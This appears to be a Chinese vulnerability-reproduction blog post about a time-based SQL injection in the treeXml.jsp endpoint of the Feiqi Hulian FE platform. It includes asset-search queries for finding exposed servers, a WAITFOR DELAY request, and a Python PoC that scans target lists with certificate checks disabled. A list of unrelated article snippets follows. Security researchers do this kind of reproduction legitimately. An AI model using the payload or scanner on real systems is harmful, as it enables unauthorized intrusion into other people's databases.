【漏洞复现】飞企互联——SQL注入

news2024/11/26 2:49:01

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现
  • 测试工具


漏洞描述

飞企互联-FE企业运营管理平台是一个基于云计算、智能化、大数据、物联网、移动互联网等技术支撑的云工作台。其treeXml.jsp接口存在sql注入,恶意攻击者可能会向数据库发送构造的恶意SQL查询语句

漏洞复现

1)信息收集
fofa:app="FE-协作平台"
hunter:app.name="飞企互联 FE"||app.name="飞企互联 FE 6.0+"
在这里插入图片描述

无论前方道路多么崎岖,只要心中有光,脚下就有力量,你定能抵达梦想的彼岸!加油!🌟

在这里插入图片描述

2)构造数据包

GET /sys/treeXml.js%70?menuName=1';WAITFOR+DELAY+'0:0:5'--&type=function HTTP/1.1
Host:ip

代码解释:

  1. /sys/treeXml.js%70: 这看起来像是一个请求的脚本文件路径,其中 %70 是URL编码,解码后应该是 p,所以完整的文件路径是 /sys/treeXml.jsp
  2. ;WAITFOR DELAY '0:0:5'--: 这是SQL Server特有的一个等待命令,它会让SQL Server等待指定的时间(例子中是5秒)。
  3. &type=function: 这是另一个查询参数,type 的值是 function

在这里插入图片描述
响应时间延长至5秒,证明命令被执行。

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# 导入所需的模块
import http.client
import ssl
import argparse
from urllib.parse import urlparse
import time

# 定义颜色代码,用于终端输出高亮显示
RED = '\033[91m'
RESET = '\033[0m'

def check_vulnerability(url):
    try:
        # 解析URL,获取协议、域名和路径
        parsed_url = urlparse(url)
        # 构造用于检测SQL注入漏洞的URL路径
        path = parsed_url.path.rstrip('/') + "/sys/treeXml.js%70?menuName=1';WAITFOR+DELAY+'0:0:3'--&type=function"

        # 根据URL协议创建HTTP或HTTPS连接
        if parsed_url.scheme == "https":
            # 忽略SSL证书验证
            conn = http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context())
        else:
            conn = http.client.HTTPConnection(parsed_url.netloc)

        # 记录请求开始时间
        start_time = time.time()

        # 发送GET请求
        conn.request("GET", path)

        # 获取响应
        response = conn.getresponse()

        # 计算响应时间
        elapsed_time = time.time() - start_time

        # 如果响应时间在3到6秒之间,可能存在SQL注入漏洞
        if 3 < elapsed_time < 6:
            print(f"{RED}URL [{url}] 可能存在飞企互联FE企业运营管理平台 treeXml.jsp SQL注入漏洞{RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")

    except (http.client.HTTPException, ConnectionResetError) as e:
        # 打印请求失败的错误信息
        print(f"URL [{url}] 请求失败: {e}")
    except Exception as e:
        # 打印其他异常的错误信息
        print(f"URL [{url}] 遇到未知错误: {e}")

def main():
    # 创建参数解析器
    parser = argparse.ArgumentParser(description='检测目标地址是否存在飞企互联FE企业运营管理平台 treeXml.jsp SQL注入漏洞')
    # 添加URL参数
    parser.add_argument('-u', '--url', help='指定目标地址')
    # 添加文件参数,用于读取包含URL列表的文件
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

    # 解析命令行参数
    args = parser.parse_args()

    # 如果提供了URL参数
    if args.url:
        # 如果URL没有协议头,添加http协议头
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        # 检测URL是否存在漏洞
        check_vulnerability(args.url)
    # 如果提供了文件参数
    elif args.file:
        # 读取文件中的URL列表
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                # 如果URL没有协议头,添加http协议头
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                # 检测每个URL是否存在漏洞
                check_vulnerability(url)

if __name__ == '__main__':
    # 程序入口
    main()

运行截图:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1875475.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【LeetCode】接雨水

目录 一、题目二、解法完整代码 一、题目 给定 n 个非负整数表示每个宽度为 1 的柱子的高度图&#xff0c;计算按此排列的柱子&#xff0c;下雨之后能接多少雨水。 示例 1&#xff1a; 输入&#xff1a;height [0,1,0,2,1,0,1,3,2,1,2,1] 输出&#xff1a;6 解释&#xff…

力扣 移除元素

class Solution {public int removeElement(int[] nums, int val) {int left 0;for(int right 0;right<nums.length;right){if(nums[right] ! val){nums[left] nums[right];left;}}return left;} }

2000-2022年 省、市、县三级逐年归一化植被指数NDVI

NDVI&#xff08;归一化植被指数&#xff09;是一种重要的遥感指数&#xff0c;广泛应用于植被生长状况的监测和评估。以下是对省、市、县三级逐年归一化植被指数NDVI数据的介绍&#xff1a; 数据简介 定义&#xff1a;NDVI是一种基于植被在红光和近红外波段反射特性的遥感指…

Java学习 - Redis缓存问题与优化

缓存收益与成本 收益 加速读写降低后端、持久层的负载和压力 成本 可能导致数据不一致代码运维成本redis节点运维成本 缓存更新策略 策略一致性维护成本介绍LRU/LIRS算法剔除最差底剔除最近最少使用的数据超时剔除较差底定时删除、惰性删除主动更新最好高持久层更新&#x…

数学建模---最小生成树问题的建模~~~~~Matlab代码

目录 1.相关概念 &#xff08;1&#xff09;什么是树 &#xff08;2&#xff09;生成树和最小生成树&#xff1a; 2.适用赛题 &#xff08;1&#xff09;赛题分类 &#xff08;2&#xff09;不同之处 3.两种算法 &#xff08;1&#xff09;prim算法 &#xff08;2&…

【后端】Nginx+lua+OpenResty高性能实践

文章目录 9. HTTPS安全认证9.1 证书9.2 证书获取方式9.3 自签证书-openssl工具9.4 Nginx配置HTTPS 10. websocket转发配置100.常遇的问题100.1 host 【后端&网络&大数据&数据库目录贴】 9. HTTPS安全认证 http协议问题&#xff1a; 明文传输&#xff0c;有被第三方…

【redis】Redis AOF

1、AOF的基本概念 AOF持久化方式是通过保存Redis所执行的写命令来记录数据库状态的。AOF以日志的形式来记录每个写操作&#xff08;增量保存&#xff09;&#xff0c;将Redis执行过的所有写指令记录下来&#xff08;读操作不记录&#xff09;。AOF文件是一个只追加的文件&…

文心一言4.0免费使用

领取&安装链接&#xff1a;Baidu Comate 领取季卡 有图有真相 原理&#xff1a;百度comate使用文心一言最新的4.0模型。百度comate目前免费使用&#xff0c;可以借助comate达到免费使用4.0模型目的。 如何获得 点击「Baidu Comate 领取季卡 -> 领取权益」&#xff0…

分享一个自学AI的文档-通往AGI之路

通往AGI之路-自学神器 这是是一个有关AI知识的开源文档。 但是&#xff0c;我认为这是小白学习AI的最强王者&#xff0c;每一个想学习AI、想使用AI的人都可以把它设为首页&#xff0c;从它开始。 飞书文档&#xff1a;通往AGI之路 通往AGI之路是由一群热爱A|的专家和爱好者…

[数据库]索引机制

目录 索引机制 索引的类型 索引使用 哪些适合添加索引 ​编辑 索引机制 当没有索引的时候, 如下示例,在找到id等于1的时候, 仍然会往下继续查找, 进行全表扫描, 因为它认为下面也有可能还会有1 加上索引之后进行二叉树查找, 找到1之后, 发现1的左边没有了, 右边也没有了就停…

我关于Excel使用点滴的笔记

本篇笔记是我关于Excel使用点滴的学习笔记&#xff0c;摘要和地址链接列表。临时暂挂&#xff0c;后面可能在不需要时删除。 (笔记模板由python脚本于2024年06月28日 12:23:32创建&#xff0c;本篇笔记适合初通Python&#xff0c;熟悉六大基本数据(str字符串、int整型、float浮…

GPT-5 一年半后发布,对此你有何期待?

IT之家6月22日消息&#xff0c;在美国达特茅斯工程学院周四公布的采访中&#xff0c;OpenAI首席技术官米拉穆拉蒂被问及GPT-5是否会在明年发布&#xff0c;给出了肯定答案并表示将在一年半后发布。此外&#xff0c;穆拉蒂在采访中还把GPT-4到GPT-5的飞跃描述为高中生到博士生的…

find()方法——字符串首次出现的索引位置

自学python如何成为大佬(目录):https://blog.csdn.net/weixin_67859959/article/details/139049996?spm1001.2014.3001.5501 语法参考 find()方法实现查询一个字符串在其本身字符串对象中首次出现的索引位置&#xff0c;如起始位置从11到结束位置17之间子字符串出现的位置&a…

使用Endnote中英文等的实现和GB7714格式

Endnote是一款被广泛使用的文献管理软件&#xff0c;其是SCI&#xff08;Thomson Scientific 公司&#xff09;的官方软件&#xff0c;支持国际期刊的参考文献格式有3776 种【也可以自定义期刊引用格式】。 软件非常方便科研狗进行文献整理&#xff0c;写笔记&#xff0c;做备…

深度学习经典检测方法概述

一、深度学习经典检测方法 two-stage&#xff08;两阶段&#xff09;&#xff1a;Faster-rcnn Mask-Rcnn系列 one-stage&#xff08;单阶段&#xff09;&#xff1a;YOLO系列 1. one-stage 最核心的优势&#xff1a;速度非常快&#xff0c;适合做实时检测任务&#xff01; 但是…

Spring简单学习

Spring简单学习 spring中的设计模式工厂模式简单工厂模式工厂方法模式 Springmvc简单学习MVC模式Spring MVC 常用组件Spring MVC 工作流程 [Spring IOC](https://juejin.cn/post/6983957368115560485#heading-3)IOC是什么使用IOCSpring提供的IOC容器Spring的IOC实现原理**Root …

第4章_USB 设备编程

文章目录 4.1 USB 学习指南4.1 USB 学习指南 4.2 USB 系统硬件框架和软件框架4.2.1 实验现象4.2.2 硬件框架4.2.3 软件框架 4.3 软件工程师眼里的 USB 电气信号4.3.1 USB 设备状态切换图4.3.2 硬件线路4.3.3 电子信号4.3.4 低速/全速信号电平4.3.5 高速信号电平4.3.6 设备连接与…

【报错记录】第一次安装VUE启动失败sh: vite: command not found

大家好&#xff0c;我是DX3906 &#x1f308; 欢迎莅临我的个人主页 &#x1f448;这里是我静心耕耘大前端领域、真诚分享知识与智慧的小天地&#xff01;&#x1f387; 问题描述&#xff1a;第一次使用npm create vuelatest搭建vue3.0脚手架的时候&#xff0c;运行npm run dev…

【数据结构(邓俊辉)学习笔记】二叉搜索树03——平衡

文章目录 1. 极端退化2. 平均高度3. 理想 适度4. 歧义 等价5. 等价变换 1. 极端退化 二叉搜索树为我们同时实现对数据集高效的静态操作以及动态操作打开了一扇新的大门。 正如我们所看到的&#xff0c;从策略上&#xff0c;BST可以视作是试图将此前的向量结构以及列表结构优…

【EI会议】2024年机械、计算机工程与材料国际会议 (MCEM 2024)

2024年机械、计算机工程与材料国际会议 (MCEM 2024) 2024 International Conference on Mechanical, Computer Engineering and Materials 【重要信息】 大会地点&#xff1a;广州 官网地址&#xff1a;http://www.ismcem.com 投稿邮箱&#xff1a;ismcemsub-conf.com 【注意…